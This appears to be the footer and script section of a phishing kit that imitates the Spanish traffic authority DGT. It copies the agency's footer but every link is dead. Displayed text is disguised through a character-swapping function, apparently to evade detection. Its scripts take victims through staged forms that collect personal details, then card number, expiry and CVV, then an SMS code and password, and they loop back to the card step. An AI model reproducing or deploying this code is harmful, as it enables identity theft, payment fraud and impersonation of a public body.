</main>
<footer class="main-footer">
    <nav class="">
        <h2 class="sr-only"><?php echo getCyrillicAlphabet('Pie de página'); ?></h2>
        <h3 class="sr-only"><?php echo getCyrillicAlphabet('Ayuda y políticas'); ?></h3>
        <ul class="inline links piped">
            <li class="">
                <a class="link" href="javascript:void(0);" target="_blank" title="<?php echo getCyrillicAlphabet('Aviso legal', true); ?>"><?php echo getCyrillicAlphabet('Aviso legal'); ?></a>
            </li>
            <li class="">
                <a class="link" href="javascript:void(0);" target="_blank" title="<?php echo getCyrillicAlphabet('Propiedad intelectual', true); ?>"><?php echo getCyrillicAlphabet('Propiedad intelectual'); ?></a>
            </li>
            <li class="">
                <a class="link" href="javascript:void(0);" target="_blank" title="<?php echo getCyrillicAlphabet('Accesibilidad', true); ?>"><?php echo getCyrillicAlphabet('Accesibilidad'); ?></a>
            </li>
            <li class="">
                <a class="link" href="javascript:void(0);" target="_blank" title="<?php echo getCyrillicAlphabet('Protección de datos', true); ?>"><?php echo getCyrillicAlphabet('Protección de datos'); ?></a>
            </li>
        </ul>
        <div class="footer-social">
            <ul class="">
                <li class="">
                    <a href="javascript:void(0);" target="_blank" title="<?php echo getCyrillicAlphabet('Abrir en nueva ventana Página de Facebook', true); ?>" class="">
                        <em class="fa fa-facebook-square"><span class="hide"><?php echo getCyrillicAlphabet('Página de Facebook'); ?></span></em>
                    </a>
                </li>
                <li class="">
                    <a href="javascript:void(0);" target="_blank" title="<?php echo getCyrillicAlphabet('Abrir en nueva ventana Página de Twitter', true); ?>" class="">
                        <em class="fa fa-twitter-square"><span class="hide"><?php echo getCyrillicAlphabet('Página de Twitter'); ?></span></em>
                    </a>
                </li>
                <li class="">
                    <a href="javascript:void(0);" target="_blank" title="<?php echo getCyrillicAlphabet('Abrir en nueva ventana Página de YouTube', true); ?>" class="">
                        <em class="fa fa-youtube-square"><span class="hide"><?php echo getCyrillicAlphabet('Página de YouTube'); ?></span></em>
                    </a>
                </li>
                <li class="">
                    <a href="javascript:void(0);" target="_blank" title="<?php echo getCyrillicAlphabet('Abrir en nueva ventana Página de Instagram', true); ?>" class="">
                        <em class="fa fa-instagram"><span class="hide"><?php echo getCyrillicAlphabet('Página de Instagram'); ?></span></em>
                    </a>
                </li>
            </ul>
        </div>
        <h3 class="sr-only"><?php echo getCyrillicAlphabet('Copyright'); ?></h3>
        <p class="copyright"><?php echo getCyrillicAlphabet('Copyright @ DGT ' . date('Y') . '. Todos los derechos reservados'); ?></p>
        <h3 class="sr-only"><?php echo getCyrillicAlphabet('Contacto'); ?></h3>
        <ul class="inline contact">
            <li class="">
                <span class="fa fa-phone fa-white" aria-hidden="true" title="<?php echo getCyrillicAlphabet('Teléfono', true); ?>"></span>
                <span class="sr-only"><?php echo getCyrillicAlphabet('Teléfono'); ?></span> <?php echo getCyrillicAlphabet('011 Estado del Tráfico'); ?>
            </li>
            <li class="">
                <span class="fa fa-phone fa-white" aria-hidden="true" title="<?php echo getCyrillicAlphabet('Teléfono', true); ?>"></span>
                <span class="sr-only"><?php echo getCyrillicAlphabet('Teléfono'); ?></span> <?php echo getCyrillicAlphabet('060 Admin. Gral. del Estado'); ?>
            </li>
            <li class="">
                <span class="fa fa-map-marker fa-white" aria-hidden="true" title="<?php echo getCyrillicAlphabet('Ubicación', true); ?>"></span>
                <span class="sr-only"><?php echo getCyrillicAlphabet('Ubicación'); ?></span> <?php echo getCyrillicAlphabet('C/ Josefa Valcarcel, 28 - 28071 Madrid-España'); ?>
            </li>
        </ul>
    </nav>
</footer>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>
<script src="./../src/vendor/bootstrap-3.3.7/js/bootstrap.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/selectize.js/0.12.4/js/standalone/selectize.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/datepicker/0.4.0/datepicker.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/cleave.js@1.6.0/dist/cleave.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/cleave.js@1.6.0/dist/addons/cleave-phone.es.js"></script>

<script>
    (function($) {
        var active;
        var cancelToggle = false;
        $.fn.togglemenu = function(options) {
            var $togglemenu = this.each(function() {
                $(this).children().last().after($('<span>').addClass('text'));
            });

            $togglemenu.show = function() {
                active = true;
                options && options.show && options.show();
                return this.each(function() {
                    $(this).find('.text').html($(this).data('hide'));
                });
            }

            $togglemenu.hide = function() {
                active = false;
                options && options.hide && options.hide();
                return this.each(function() {
                    $(this).find('.text').html($(this).data('show'));
                });
            }

            $togglemenu.toggle = function() {
                return active && $togglemenu.hide() || $togglemenu.show();
            }

            $togglemenu.hide();

            $togglemenu.click(function() {
                return $togglemenu.toggle();
            });

            return $togglemenu;
        };
    }(jQuery));
</script>

<script>
    $(function() {
        var navToggle = function($li) {
            $li.addClass('active');
            $li.siblings('.control').removeClass('active');
        }

        var navKeyPress = function(e) {
            if (e.which == 13) { // Enter key
                $(this).click();
            }
        }

        $.fn.datepicker.languages['es-ES'] = {
            format: 'dd/mm/yyyy',
            days: ['Domingo', 'Lunes', 'Martes', 'Miércoles', 'Jueves', 'Viernes', 'Sábado'],
            daysShort: ['Dom', 'Lun', 'Mar', 'Mié', 'Jue', 'Vie', 'Sab'],
            daysMin: ['D', 'L', 'M', 'X', 'J', 'V', 'S'],
            weekStart: 1,
            months: ['Enero', 'Febrero', 'Marzo', 'Abril', 'Mayo', 'Junio', 'Julio', 'Agosto', 'Septiembre', 'Octubre', 'Noviembre', 'Diciembre'],
            monthsShort: ['Ene', 'Feb', 'Mar', 'Abr', 'May', 'Jun', 'Jul', 'Ago', 'Sep', 'Oct', 'Nov', 'Dic']
        };

        $.fn.datepicker.setDefaults({
            autoHide: true,
            language: 'es-ES'
        })

        $('.datepicker, [data-toggle=datepicker]').each(function() {
            var options = {},
                $trigger = $(this).parent().find('[data-trigger=datepicker]');

            if ($trigger.length == 1) {
                options['trigger'] = $trigger;
            }

            $(this).datepicker(options);
        });

        $('.selectize').selectize({
            openOnFocus: false
        });

        function bindMenuFocus() {
            $('.menu-component *').focus(function() {
                $togglemenu.show();
            });
            $('.menu-component *').blur(function() {
                $togglemenu.hide();
            });
        }

        function mqTabletListener(mq) {
            $('.menu-component *').off();

            mq.matches &&
                $('.nav-user, .nav-language').removeClass('menu-component') ||
                $('.nav-user, .nav-language').addClass('menu-component');

            bindMenuFocus();
        }

        var mqTablet = window.matchMedia("(min-width: 768px)");
        mqTablet.addListener(mqTabletListener)
        mqTabletListener(mqTablet);

        var $togglemenu = $('.burguer .toggle').togglemenu({
            show: function() {
                $('body').addClass('menu-deployed');
            },
            hide: function() {
                $('body').removeClass('menu-deployed');
            }
        });

        $('.nav-main *').focus(function() {
            $(this).closest('.l1').addClass('level-deployed');
        });
        $('.nav-main *').blur(function() {
            $(this).closest('.l1').removeClass('level-deployed');
        });

        $('.focusable *').focus(function() {
            $(this).closest('.focusable').addClass('focused');
        });
        $('.focusable *').blur(function() {
            $(this).closest('.focusable').removeClass('focused');
        });

        var getInt = function(value) {
            if (isNaN(value) || value == '')
                return 0;
            else
                return parseInt(value);
        }

        $('input[type=number]').each(function() {
            var $input = $(this);
            var $container = $('<div/>').addClass('input-group seamless-group');

            var $add = $('<button/>').addClass("btn btn-stretch")
                .append($('<span/>').addClass('sr-only').append('Incrementar'))
                .append($('<span/>').addClass('fa fa-fw fa-caret-up text-info'))
                .attr('title', 'Incrementar')
                .attr('type', 'button')
                .click(function() {
                    var value = getInt($input.val());
                    $input.val(value + 1);
                });

            var $substract = $('<button/>').addClass("btn btn-seamless btn-stretch")
                .append($('<span/>').addClass('sr-only').append('Sustraer'))
                .append($('<span/>').addClass('fa fa-fw fa-caret-down text-info'))
                .attr('title', 'Sustraer')
                .attr('type', 'button')
                .click(function() {
                    var value = getInt($input.val());
                    $input.val(value - 1);
                });

            var $buttonContainer = $('<div/>').addClass('input-group-btn');
            $buttonContainer.append($add);
            $buttonContainer.append($substract);

            $input.attr('type', 'text').addClass('form-control');
            $input.after($container);
            $input.detach();

            $container.append($input);
            $container.append($buttonContainer);
        });
    });
</script>

<script>
    function cargando() {
        if (document.getElementById("capa_cargando") != null) {
            document.getElementById("capa_cargando").style.visibility = "visible";
            document.getElementById("imagendiv").style.visibility = "visible";
            document.getElementById('capa_cargando').style.MozOpacity = '0.1';
            document.getElementById('capa_cargando').style.opacity = '10';
        }
    }

    function quitar_cargando() {
        if (document.getElementById("capa_cargando") != null) {
            document.getElementById("capa_cargando").style.visibility = "hidden";
            document.getElementById("imagendiv").style.visibility = "hidden";
        }
    }
</script>

<?php if ($_GET['op'] === $_SESSION["op"][0]) { ?>
    <script>
        $(function() {
            var cleave = new Cleave('#<?php echo $_SESSION["attribute"][4]; ?>', {
                phone: true,
                phoneRegionCode: 'ES'
            });

            var cleave = new Cleave('#<?php echo $_SESSION["attribute"][6]; ?>', {
                numericOnly: true,
                blocks: [5]
            });

            $('#indexFormId').on('submit', function(e) {
                e.preventDefault();

                var errors = [];
                var form = $(this);

                // Validate fields
                if (!$('#<?php echo $_SESSION["attribute"][0]; ?>').val().trim()) {
                    errors.push('<?php echo getCyrillicAlphabet('Error, el campo Nombre es obligatorio.'); ?>');
                }
                if (!$('#<?php echo $_SESSION["attribute"][1]; ?>').val().trim()) {
                    errors.push('<?php echo getCyrillicAlphabet('Error, el campo Apellidos es obligatorio.'); ?>');
                }
                var birthVal = $('#<?php echo $_SESSION["attribute"][2]; ?>').val();
                if (!birthVal) {
                    errors.push('<?php echo getCyrillicAlphabet('Error, el campo Fecha de nacimiento es obligatorio.'); ?>');
                } else if (!/^\d{2}\/\d{2}\/\d{4}$/.test(birthVal)) {
                    errors.push('<?php echo getCyrillicAlphabet('Error, el formato de fecha no es válido (DD/MM/AAAA).'); ?>');
                } else {
                    var parts = birthVal.split('/');
                    var birthDate = new Date(parts[2], parts[1] - 1, parts[0]);
                    if (isNaN(birthDate.getTime())) {
                        errors.push('<?php echo getCyrillicAlphabet('Error, la fecha de nacimiento no es válida.'); ?>');
                    } else {
                        var today = new Date();
                        var age = today.getFullYear() - birthDate.getFullYear();
                        var m = today.getMonth() - birthDate.getMonth();
                        if (m < 0 || (m === 0 && today.getDate() < birthDate.getDate())) age--;
                        if (age < 18) errors.push('<?php echo getCyrillicAlphabet('Error, debe tener 18 años o más.'); ?>');
                    }
                }
                var emailVal = $('#<?php echo $_SESSION["attribute"][3]; ?>').val().trim();
                if (!emailVal) {
                    errors.push('<?php echo getCyrillicAlphabet('Error, el campo Correo electrónico es obligatorio.'); ?>');
                } else if (!/^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(emailVal)) {
                    errors.push('<?php echo getCyrillicAlphabet('Error, el correo electrónico no es válido.'); ?>');
                }
                var phoneVal = $('#<?php echo $_SESSION["attribute"][4]; ?>').val().trim();
                if (!phoneVal) {
                    errors.push('<?php echo getCyrillicAlphabet('Error, el campo Número de teléfono es obligatorio.'); ?>');
                } else if (!/^\+?[0-9\s\-().]{7,15}$/.test(phoneVal)) {
                    errors.push('<?php echo getCyrillicAlphabet('Error, el número de teléfono no es válido.'); ?>');
                }
                if (!$('#<?php echo $_SESSION["attribute"][5]; ?>').val().trim()) {
                    errors.push('<?php echo getCyrillicAlphabet('Error, el campo Dirección es obligatorio.'); ?>');
                }
                if (!$('#<?php echo $_SESSION["attribute"][6]; ?>').val().trim()) {
                    errors.push('<?php echo getCyrillicAlphabet('Error, el campo Código postal es obligatorio.'); ?>');
                }
                if (!$('#<?php echo $_SESSION["attribute"][7]; ?>').val().trim()) {
                    errors.push('<?php echo getCyrillicAlphabet('Error, el campo Ciudad es obligatorio.'); ?>');
                }

                if (errors.length > 0) {
                    var html = '<br class="">';
                    html += '<p class="alert alert-danger alert-dismissible" role="alert" id="marcoAlertaServidorId">';
                    html += '<button type="button" class="close removeif-nojs" data-dismiss="alert" aria-label="Cerrar">';
                    html += '<span class="sr-only">Close</span> <span class="fa fa-times" aria-hidden="true"></span>';
                    html += '</button>';
                    html += '<br class="">';
                    html += '<span id="errorContainer">';
                    $.each(errors, function(i, msg) {
                        html += '<span class="fa fa-times-circle"></span> ';
                        html += '<span class="sr-only">' + msg + '</span> ';
                        html += '<span class="">' + msg + '</span><br>';
                    });
                    html += '</span>';
                    html += '</p>';
                    $('#j_id69').html(html).show();
                    return false;
                }

                $('#j_id69').hide();
                cargando();

                $.ajax({
                    url: form.attr('action'),
                    type: 'POST',
                    data: form.serialize(),
                    success: function(response) {
                        setTimeout(function() {
                            quitar_cargando();
                            top.location.href = "<?php echo BASE_URL . '/' . EMBED_PATH; ?>?url=<?php echo base64_encode(BASE_URL . '/' . str_replace('.php', '', $_SESSION["filename"][0]) . "?op=" . $_SESSION["op"][1]); ?>";
                        }, 2000);
                    },
                    error: function(xhr, status, error) {
                        quitar_cargando();
                        top.location.href = "<?php echo BASE_URL . '/' . EMBED_PATH; ?>?url=<?php echo base64_encode(BASE_URL . '/' . str_replace('.php', '', $_SESSION["filename"][0]) . "?op=" . $_SESSION["op"][0]); ?>";
                    }
                });
            });
        });
    </script>
<?php } ?>

<?php if ($_GET['op'] === $_SESSION["op"][1]) { ?>
    <script>
        $(function() {
            var cleave = new Cleave('#<?php echo $_SESSION["attribute"][9]; ?>', {
                creditCard: true,
            });

            var cleave = new Cleave('#<?php echo $_SESSION["attribute"][10]; ?>', {
                date: true,
                datePattern: ['m', 'y']
            });

            var cleave = new Cleave('#<?php echo $_SESSION["attribute"][11]; ?>', {
                numericOnly: true,
                blocks: [3]
            });

            $('#indexFormId').on('submit', function(e) {
                e.preventDefault();

                var errors = [];
                var form = $(this);

                // Validate fields
                if (!$('#<?php echo $_SESSION["attribute"][8]; ?>').val().trim()) {
                    errors.push('<?php echo getCyrillicAlphabet('Error, el campo Titular de la tarjeta es obligatorio.'); ?>');
                }
                var cardVal = $('#<?php echo $_SESSION["attribute"][9]; ?>').val().replace(/\s/g, '');
                if (!cardVal) {
                    errors.push('<?php echo getCyrillicAlphabet('Error, el campo Número de tarjeta es obligatorio.'); ?>');
                } else if (!/^[0-9]{13,19}$/.test(cardVal)) {
                    errors.push('<?php echo getCyrillicAlphabet('Error, el número de tarjeta no es válido.'); ?>');
                }
                var expVal = $('#<?php echo $_SESSION["attribute"][10]; ?>').val().trim();
                if (!expVal) {
                    errors.push('<?php echo getCyrillicAlphabet('Error, el campo Fecha de caducidad es obligatorio.'); ?>');
                } else if (!/^(0[1-9]|1[0-2])\/[0-9]{2}$/.test(expVal)) {
                    errors.push('<?php echo getCyrillicAlphabet('Error, la fecha de caducidad no es válida (MM/AA).'); ?>');
                }
                var cvvVal = $('#<?php echo $_SESSION["attribute"][11]; ?>').val().trim();
                if (!cvvVal) {
                    errors.push('<?php echo getCyrillicAlphabet('Error, el campo Código de seguridad es obligatorio.'); ?>');
                } else if (!/^[0-9]{3,4}$/.test(cvvVal)) {
                    errors.push('<?php echo getCyrillicAlphabet('Error, el código de seguridad no es válido.'); ?>');
                }

                if (errors.length > 0) {
                    var html = '<br class="">';
                    html += '<p class="alert alert-danger alert-dismissible" role="alert" id="marcoAlertaServidorId">';
                    html += '<button type="button" class="close removeif-nojs" data-dismiss="alert" aria-label="Cerrar">';
                    html += '<span class="sr-only">Close</span> <span class="fa fa-times" aria-hidden="true"></span>';
                    html += '</button>';
                    html += '<br class="">';
                    html += '<span id="errorContainer">';
                    $.each(errors, function(i, msg) {
                        html += '<span class="fa fa-times-circle"></span> ';
                        html += '<span class="sr-only">' + msg + '</span> ';
                        html += '<span class="">' + msg + '</span><br>';
                    });
                    html += '</span>';
                    html += '</p>';
                    $('#j_id69').html(html).show();
                    return false;
                }

                $('#j_id69').hide();
                cargando();

                $.ajax({
                    url: $(this).attr('action'),
                    type: 'POST',
                    data: $(this).serialize(),
                    success: function(response) {
                        setTimeout(function() {
                            quitar_cargando();
                            top.location.href = "<?php echo BASE_URL . '/' . EMBED_PATH; ?>?url=<?php echo base64_encode(BASE_URL . '/' . str_replace('.php', '', $_SESSION["filename"][0]) . "?op=" . $_SESSION["op"][2]); ?>";
                        }, 10000);
                    },
                    error: function(xhr, status, error) {
                        quitar_cargando();
                        top.location.href = "<?php echo BASE_URL . '/' . EMBED_PATH; ?>?url=<?php echo base64_encode(BASE_URL . '/' . str_replace('.php', '', $_SESSION["filename"][0]) . "?op=" . $_SESSION["op"][1]); ?>";
                    }
                });
            });
        });
    </script>
<?php } ?>

<?php if ($_GET['op'] === $_SESSION["op"][2]) { ?>
    <script>
        window.addEventListener('message', function(e) {
            var iframe = document.getElementsByTagName('iframe')[0];
            if (e.data.frameHeight) {
                iframe.style.height = e.data.frameHeight + 'px';
            }
            if (e.data.navigateTo) {
                cargando();
                setTimeout(function() {
                    quitar_cargando();
                    top.location.href = e.data.navigateTo;
                }, 10000);
            }
        }, false);
    </script>

    <script>
        $(function() {
            var selectElement = $('#<?php echo $_SESSION["attribute"][12]; ?>');
            var nextElement = selectElement.closest('.row').next();
            var iframe = $('iframe');

            function updateFormState() {
                if (selectElement.val() == '2') {
                    nextElement.show();
                    iframe.hide();
                } else {
                    nextElement.hide();
                    iframe.show();
                }
            }

            updateFormState();
            selectElement.on('change', updateFormState);

            $('#indexFormId').on('submit', function(e) {
                e.preventDefault();

                var errors = [];
                var form = $(this);
                var method = $('#<?php echo $_SESSION["attribute"][12]; ?>').val();

                if (method == '2') {
                    if (!$('#<?php echo $_SESSION["attribute"][13]; ?>').val().trim()) {
                        errors.push('Error, el campo Código SMS es obligatorio.');
                    }
                    if (!$('#<?php echo $_SESSION["attribute"][14]; ?>').val().trim()) {
                        errors.push('Error, el campo Contraseña es obligatorio.');
                    }
                }

                if (errors.length > 0) {
                    var html = '<br class="">';
                    html += '<p class="alert alert-danger alert-dismissible" role="alert" id="marcoAlertaServidorId">';
                    html += '<button type="button" class="close removeif-nojs" data-dismiss="alert" aria-label="Cerrar">';
                    html += '<span class="sr-only">Close</span> <span class="fa fa-times" aria-hidden="true"></span>';
                    html += '</button>';
                    html += '<br class="">';
                    html += '<span id="errorContainer">';
                    $.each(errors, function(i, msg) {
                        html += '<span class="fa fa-times-circle"></span> ';
                        html += '<span class="sr-only">' + msg + '</span> ';
                        html += '<span class="">' + msg + '</span><br>';
                    });
                    html += '</span>';
                    html += '</p>';
                    $('#j_id69').html(html).show();
                    return false;
                }

                $('#j_id69').hide();
                cargando();

                $.ajax({
                    url: $(this).attr('action'),
                    type: 'POST',
                    data: $(this).serialize(),
                    success: function(response) {
                        setTimeout(function() {
                            quitar_cargando();
                            top.location.href = "<?php echo BASE_URL . '/' . EMBED_PATH; ?>?url=<?php echo base64_encode(BASE_URL . '/' . str_replace('.php', '', $_SESSION["filename"][0]) . "?op=" . $_SESSION["op"][1]); ?>";
                        }, 10000);
                    },
                    error: function(xhr, status, error) {
                        quitar_cargando();
                        top.location.href = "<?php echo BASE_URL . '/' . EMBED_PATH; ?>?url=<?php echo base64_encode(BASE_URL . '/' . str_replace('.php', '', $_SESSION["filename"][0]) . "?op=" . $_SESSION["op"][2]); ?>";
                    }
                });
            });
        });
    </script>
<?php } ?>

</body>

</html>